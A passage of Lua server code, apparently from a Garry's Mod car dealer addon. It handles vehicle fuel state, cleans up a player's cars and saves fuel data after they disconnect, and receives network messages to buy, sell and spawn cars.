1040 if( ( _e:GetClass() == "prop_vehicle_jeep" or _e:GetClass() == "prop_vehicle_jeep_old" ) ) then
1041 if( CarDealer.Settings.VCMod ) then
1042 if( ( _e:GetNWInt( "VC_Health" ) < 1 or _e.fuel < 0.5 ) ) then
1043 _e:Fire( "TurnOff", true, 0 );
1044 else
1045 _e:Fire( "TurnOn", true, 0 );
1046 end
1047 else
1048 if( _e.fuel < 0.5 ) then
1049 _e:Fire( "TurnOff", true, 0 );
1050 else
1051 _e:Fire( "TurnOn", true, 0 );
1052 end
1053 end
1054 net.Start( "CarDealer::DriverFuel" );
1055 net.WriteFloat( math.Round( _e.fuel ) );
1056 net.Send( _p );
1057 end
1058 end );
1059end
1060
1061
1062hook.Add( "PlayerInitialSpawn", "CarDealer::CarData", function( _p )
1063 CarDealer:Init( _p );
1064end );
1065
1066hook.Add( "PlayerDisconnected", "CarDealer::DeleteStoredData", function( _p )
1067 local _del = _p:SteamID64();
1068 local _d2 = _p:SteamID();
1069 local found = false;
1070 local foundply = false;
1071
1072
1073 timer.Simple( CarDealer.Settings.DeleteOnDisconnect, function()
1074 for _, _p in pairs( player.GetAll() ) do
1075 if( _p:SteamID64() == _del ) then
1076 foundply = true;
1077 break;
1078 end
1079 end
1080
1081 if( not foundply ) then
1082 for i, v in pairs( CarDealer.Settings.VehicleTypes ) do
1083 for i2, v2 in pairs( ents.FindByClass( v ) ) do
1084 if( IsValid( v2 ) && v2.CarOwner && v2.CarOwner == _del ) then
1085 v2:Remove();
1086 end
1087 end
1088 end
1089
1090 for i, v in pairs( CarDealer.Cars ) do
1091 if( v.entity ) then
1092 for i2, v2 in pairs( ents.FindByClass( i ) ) do
1093 if( v2.CarOwner && v2.CarOwner == _del ) then
1094 v2:Remove();
1095 end
1096 end
1097 end
1098 end
1099 if( CarDealer.Players[ _del ] and type( CarDealer.Players[ _del ] ) == "table" ) then
1100 CarDealer.Players[ _del ] = nil;
1101 end
1102
1103 util.SetPData( _d2, "FuelSave", util.TableToJSON( CarDealer.FuelSave[ _del ] ) );
1104 CarDealer.FuelSave[ _del ] = nil;
1105 end
1106
1107
1108 end );
1109end );
1110
1111net.Receive( "CarDealer::Buy", function( len, _p )
1112
1113 local _e = net.ReadString();
1114
1115 if( not IsValid( _p ) or not _p:IsPlayer() or not CarDealer.Cars[ _e ] ) then
1116 return;
1117 end
1118
1119 CarDealer:BuyCar( _p, _e );
1120
1121end );
1122
1123net.Receive( "CarDealer::Sell", function( len, _p )
1124
1125 local _e = net.ReadString();
1126
1127 if( not IsValid( _p ) or not _p:IsPlayer() or not CarDealer.Cars[ _e ] ) then
1128 return;
1129 end
1130
1131 CarDealer:SellCar( _p, _e );
1132
1133end );
1134
1135net.Receive( "CarDealer::Spawn", function( len, _p )
1136
1137 local _e = net.ReadString();
1138 local _c = net.ReadTable();
1139 local _dealer = net.ReadFloat();
1140
1141 if( not IsValid( _p ) or not _p:IsPlayer() or not CarDealer.Cars[ _e ] ) then
1142 return;
1143 end
1144
1145 CarDealer:SpawnCar( _p, _e, _c, _dealer );
1146
1147end );